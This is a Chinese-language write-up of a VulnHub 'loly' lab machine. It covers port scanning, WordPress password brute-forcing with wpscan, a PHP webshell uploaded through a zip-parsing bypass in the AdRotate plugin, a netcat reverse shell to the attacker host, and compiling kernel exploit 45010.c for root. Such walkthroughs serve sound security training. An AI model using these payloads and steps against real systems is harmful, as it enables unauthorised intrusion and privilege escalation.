vulnhub靶场之loly靶机
前言
- 挑战攻克该靶机30分钟
靶机:loly靶机,IP地址为192.168.10.11
攻击:kali,IP地址为192.168.10.6
靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式
文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载
https://pan.quark.cn/s/a795145e3869
主机发现
也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。
使用arp-scan -l或者netdiscovery -r 192.168.10.1/24
当然也可以使用nmap等工具进行
arp-scan -l

信息收集
使用nmap扫描目标端口等信息
首先扫描目标的tcp端口的开放情况
nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp

再扫描udp端口的开放情况
nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内
ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测
nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000

再使用nmap的漏洞检测脚本对这些端口进行探测
nmap --script=vuln 192.168.10.11 -p $ports

枚举出的目录,可能是wordpress的CMS
网站信息探测
访问80端口的界面,是nginx安装后的默认界面,页面源代码没有信息泄露

使用whatweb或者浏览器插件wappalyzer进行查看相关配置

whatweb http://192.168.10.11 -v

使用gobuster等目录爆破工具进行测试
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -x php,html,txt,md,zip

访问wordpress,可以看到,很是杂乱,这个不用说了吧,一般可能都需要绑定域名了

随便点击一个链接,可以发现指向的域名loly.lc,或者自己去查看页面源代码

绑定域名,采用静态文件hosts,计算机会优先去查看这个文件中的解析对应。
在linux系统中,文件在/etc/hosts,windows系统,文件在C:\Windows\System32\Drivers\etc\hosts
这里使用的是kali,所以修改/etc/hosts文件

再次访问,可以发现,解析成功

wordpress探测
使用whatweb进一步探测,发现wordpress的版本信息
whatweb http://192.168.10.11/wordpress -v

那么下一步,使用针对wordpress的工具wpscan
wpscan --url http://192.168.10.11/wordpress -e u

枚举出用户,进一步进行密码破解
wpscan --url http://192.168.10.11/wordpress -U loly -P /usr/share/wordlists/rockyou.txt

用户名loly和密码fernando
文件上传
在登录后,经过多方测试,最终在插件AdRotate中,找到一个文件上传的测试点,并且在寻找的时候,也发现在相关设置中有文件上传后的地址,很清晰了,只是文件上传的种种需要多方测试


首先就是简单的测试:
- 直接上传
php,不行 - 修改后缀名再上传,不行。
- 后缀名出以
shell.php.jpg,生成图片马。不行 - 双写
php以及大小写php,不行 - 更改
mime类型,不行 - 以图片的形式上传,不解析为
php - 无法上传
.htaccess文件,无法修改解析
根据上面,测试其他的几种,也就是js,html,zip
html类型,不解析为php,所以不行js类型,显示源代码,也不解析,不行- 以
zip压缩后的文件,可以,并成功解析
只是上传为zip文件,访问的时候以php访问。如
info.php.zip,访问的时候为info.php
这里注意一点,采用linxu中的zip压缩工具,不要使用windows压缩,不一样
echo "<?php phpinfo();?>" > info.phpzip -r -o info.php.zip info.php

我也测试过,把压缩包的数据进行抓包然后截取,但是不行。所以我放弃使用windows上传这个脚本了

那么编写一个代码,以可以命令执行
echo '<?php system($_GET["loly"]);?>' > shell.php
zip -r -o shell.php.zip shell.php
上传后,访问即可,构造shell.php?loly=ls,即可发现

构造反弹shell代码,首先在kali开启监听,然后再使用下面代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
#进行url编码
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.10.6%209999%20%3E%2Ftmp%2Ff

靶机内信息收集
既然有wordpress,那么就一定要看看其配置文件wp-config.php
获取用户名wordpress和密码lolyisabeautifulgirl

查看网络状态
ss -antulp

发现3306开放,可能就是mysql,以前面的登录测试,登录之前,先测试安装什么版本的python
dpkg -l | grep python
#加一层shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
数据库中只有一个用户名和密码,与前面枚举出的一样
继续探测信息,首先知道两个密码。fernando和lolyisabeautifulgirl
查看当前系统用户,发现只有loly一个
使用find寻找具有SUID权限的文件,发现sudo和su
find / -perm -4000 -print 2>/dev/null
sudo -l测试,需要密码

尝试使用两个密码,测试loly,是否存在多用的情况
成功了,以lolyisabeautifulgirl登录

再次使用sudo -l,没有文件给loly使用。
收集内核版本等信息
uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release

当然,后面其实还有脚本上传进行检测,不过因为这里搜索到合适的提权脚本,并且可以使用,所以不上传脚本了
提权
使用gcc -v确定靶机安装了gcc
使用searchsploit搜索到可利用的漏洞
searchsploit 4.4.0-31 ubuntu Privilege

根据内核版本和系统信息,这些都是可以测试的,先测试第二个45010.c
#把脚本下载到当前目录下
searchsploit -m 45010.c

然后查看脚本

在kali使用python开启监听,然后靶机使用wget下载即可
#kali执行
python3 -m http.server 1234#靶机执行
wget http://192.168.10.6:1234/45010.c
这里在loly的主目录,因为他有一个脚本,可能会定期清理/tmp目录,我也不想再更改脚本,省时间

靶机执行脚本中编译和执行即可
gcc 45010.c -o exp
chmod +x exp
./exp


对应其他的脚本能否提权,自己去试试,一定要动手测试,积累经验
总结
该靶机的考察主要就是从web到内网
- 网站主流CMS的识别
wpscan的使用,当然爆破也可以使用其他工具,如burp等,不过这个工具是专门针对wordpress,所以,建议使用- 文件上传如何绕过检测,这里应该是利用对于压缩包的一个解析漏洞,导致执行了
php代码 wordpress的配置文件要清楚- 靶机内的信息收集,内核等信息
相关文章:
vulnhub靶场之loly靶机
前言 挑战攻克该靶机30分钟 靶机:loly靶机,IP地址为192.168.10.11 攻击:kali,IP地址为192.168.10.6 靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式 文章涉及的靶机及工具,都可以自行访问官网或者项…...
原生微信小程序实现导航漫游(Tour)
效果: 小程序实现导航漫游 1、组件 miniprogram/components/tour/index.wxml <!--wxml--> <view class"guide" wx:if"{{showGuide}}"><view style"{{guideStyle}}" class"guide-box"><view class&quo…...
LLM论文笔记 25: Chain-of-Thought Reasoning without Prompting
Arxiv日期:2024.5.31机构:Google DeepMind 关键词 cot-decoding推理路径pretrain 核心结论 1. LLMs 不需要prompting就可以生成链式推理路径,prompting只是将这些能力显性化的一种手段 2. cot path 往往与更高的model confidence相关&…...
新型XCSSET恶意软件利用增强混淆技术攻击macOS用户
微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。 这是自2022年以来的首个已知XCSSET变种,采用了增强的混淆方法、更新的持久化机制以及新的感…...
Redis存数据就像存钱:RDB定期存款 vs AOF实时记账
Redis持久化 ◆ 核心概念1. ◆ 持久化全景图2. ◆ 生产环境黄金法则 ◆ RDB深度优化1. ◆ 生产配置精要2. ◆ 高级触发场景3. ◆ 故障应急方案 ◆ AOF深度解析1. ◆ 7.0版本革命性改进2. ◆ 同步策略深度测试3. ◆ 重写过程优化 ◆ 混合持久化实战1. ◆ 配置示例2. ◆ 数据恢复…...
[C++面试] 关于deque
一、入门 1、deque与vector的区别 deque的迭代器包含以下信息: 当前缓冲区指针(current_buffer)当前元素在缓冲区内的位置(current)中控器的位置(map) 每次移动迭代器时,需检查是…...
施磊老师c++(七)
STL组件 文章目录 STL组件1.整体学习内容2.vector容器3.deque和listdeque--双端队列容器list--链表容器 4.vector,deque,list对比主要内容面经问题 5.详解容器适配器--stack, queue, priority_queue容器适配器stack-栈queue-队列priority_queue-优先级队列总结 6.无序关联容器关…...
八股文——C 语言宏、`volatile`、`static`、动态内存管理、堆与栈的区别
文章目录 1. #(字符串化操作符)作用:示例: 2. ##(符号连接操作符)作用:示例1:动态生成变量名 3. volatile 关键字作用:示例: 4. static 关键字作用࿱…...
C++初阶——类和对象(三) 构造函数、析构函数
C初阶——类和对象(三) 上期内容,我们围绕类对象模型的大小计算,成员存储方式,this指针,以及C实现栈和C语言的比较,进一步认识了C的封装特性。本期内容,我们开始介绍类的默认成员函…...
【Function】使用托管身份调用Function App触发器,以增强安全性
推荐超级课程: 本地离线DeepSeek AI方案部署实战教程【完全版】Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战目录 1. 背景介绍2. 设置3. 使用Web应用调用Function App触发器(Node.js示例)4. 执行结果此方法允许您使用托管身份(Managed Identity)调…...
x012-MSP430F249智能步进电动百叶窗_proteus_光敏电阻_步进电机_仿真
https://www.dong-blog.fun/post/1997 46 、智能步进电动百叶窗 基本要求: 用一台步进电机控制百叶窗叶片的旋转(正转/反转) 用 LED 数码管显示旋转角度 设置按键: 手动/自动切换、手动正转和手动反转,停止/启动键 用一…...
牛客周赛85 题解 Java ABCDEFG
A小紫的均势博弈 判断输入的 n 是奇数还是偶数 import java.io.*; import java.math.*; import java.util.*;public class Main {static IoScanner sc new IoScanner();static final int mod(int) (1e97);static void solve() throws IOException {int nsc.nextInt();if(n%2…...
# RAG 框架 # 一文入门 全链路RAG系统构建与优化 —— 架构、策略与实践
本文全面阐述了RAG系统从数据收集、数据清洗(包括领域专有名词处理)、智能数据分块与QA对生成,到向量化、向量数据库选择与配置,再到检索方式及重排序,直至整合输出、监控反馈和安全保障的全流程。通过这一完整方案&am…...
【Golang】第二弹-----变量、基本数据类型、标识符
笔上得来终觉浅,绝知此事要躬行 🔥 个人主页:星云爱编程 🔥 所属专栏:Golang 🌷追光的人,终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章 目录 一、变量 1.1基本介绍…...
c#:使用Modbus RTU协议
Modbus是一种广泛应用于工业自动化领域的通信协议,支持多种传输方式,如RTU、TCP等。其中,Modbus RTU是一种基于串行通信的协议,具有高效、可靠的特点。本文将详细介绍Modbus RTU协议的基本原理,并重点解析功能码0x03&a…...
linux系统CentOS 7版本搭建NFS共享存储
一、什么是NFS共享存储方式 NFS共享存储方式 是一种分布式文件系统协议,允许客户端通过网络访问远程服务器上的文件,就像访问本地文件一样。 二、 NFS的基本概念 (1)服务器端:提供共享存储的机器,负责导…...
Matlab 基于SVPWM的VF三电平逆变器异步电机速度控制
1、内容简介 略 Matlab 167-基于SVPWM的VF三电平逆变器异步电机速度控制 可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 4、参考论文 略...
Android Dagger2 框架依赖图构建模块深度剖析(三)
一、引言 在 Android 开发中,依赖注入(Dependency Injection,简称 DI)是一种重要的设计模式,它能够降低代码的耦合度,提高代码的可测试性和可维护性。Dagger 2 作为一款高效的依赖注入框架,在编…...
(一)微服务初见之 Spring Cloud 介绍
微服务架构简介 从单体应用架构发展到SOA架构,再到微服务架构,应用架构经历了多年的不断演进。微服务架构不是凭空产生的,而是技术发展的必然结果,分布式云平台的应用环境使得微服务代替单体应用成为互联网大型系统的架构选择。目…...
python--面试题--基础题
join() 和 split() 函数 join() 函数可以将指定的字符添加到字符串中。 a[my, name, shi, wzngz] print(..join(a)) 输出结果:my.name.shi.wzngz split() 函数可以用指定的字符分割字符串 a"my name shi wzngz " print(a.split()) 输出结果ÿ…...
架构思维:软件建模与架构设计的关键要点
文章目录 1. 软件建模的核心概念2. 七种常用UML图及其应用场景类图时序图组件图部署图用例图状态图活动图 3. 软件设计文档的三阶段结构4. 架构设计的关键实践1. 用例图:核心功能模块2. 部署图:架构演进阶段3. 技术挑战与解决方案4. 关键架构图示例5. 架…...
【RNN神经网络】序列模型与RNN神经网络
前言 清库存。正式切入大模型后,打算把基础知识都梳理一遍,然后写了两篇就发现写不动了,后面就捡重要的记录。RNN知识仅此一篇记录,扫盲记录。 【自然语言处理】 (Natural Language Processing,NLP…...
Python文件管理
目录 一、文本文件读写 1、相关函数 2、读写文件 3、使用readline读取一行 4、读写文件的异常处理 5、添加内容 二、文本文件的编码 1、常见的编码 2、Python程序的编码 3、指定编码 三、文件的路径 1、相对路径 2、绝对路径 3、路径的改变 四、文件夹操作 五、…...
vue3 前端路由权限控制与字典数据缓存实践(附Demo)
目录 前言1. 基本知识2. Demo3. 实战 前言 🤟 找工作,来万码优才:👉 #小程序://万码优才/r6rqmzDaXpYkJZF 从实战中出发: 1. 基本知识 Vue3 和 Java 通信时如何进行字典数据管理 需要了解字典数据的结构。通常&#x…...
基于javaweb的SpringBoot精美物流管理系统设计与实现(源码+文档+部署讲解)
技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…...
【极光 Orbit·STC8x】05. GPIO库函数驱动LED流动
【极光 OrbitSTC8】05. GPIO库函数驱动LED流动 七律 逐光流转 八灯列阵若星河,状态为舟渡长波。 寄存器中藏玄机,Switch语句定山河。 循环往复如潮涌,步骤变量掌沉浮。 单片机前展锋芒,代码织就光之舞。 摘要 本文基于STC8H8K6…...
DeepSeek进阶应用(二):结合Kimi制作PPT(双AI协作教程)
🌟引言: DeepSeek作为国产AI大模型,以强大的逻辑推理和结构化内容生成能力著称,擅长根据用户需求生成PPT大纲或Markdown文本;Kimi的PPT助手则能解析结构化内容并套用模板快速生成美观的PPT,两者结合实现“内…...
【Aioredis实战总结】Aioredis简介
一、Aioredis简介 Aioredis 是一个基于Python asyncio框架的异步Redis客户端库,专为高并发场景设计。它允许开发者在不阻塞主线程的情况下执行Redis操作,显著提升I/O密集型任务(如Web应用的缓存、实时消息队列等)的性能。自4.2.0…...
SpringBoot——Maven篇
Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的工具。它具有许多特性,其中一些重要的特性包括: 1. 自动配置:Spring Boot 提供了自动配置的机制,可以根据应用程序的依赖和环境自动配置应用程序的各种组件ÿ…...
Python中的多态与Java、C#、C++中的多态的区别有哪些?
Python中的多态与Java、C#、C等静态类型语言的主要区别体现在以下几个方面: 1. 类型系统与多态实现方式 Python(动态类型,鸭子类型) 多态基于对象的行为(方法的存在性),而非继承或接口。只要对…...
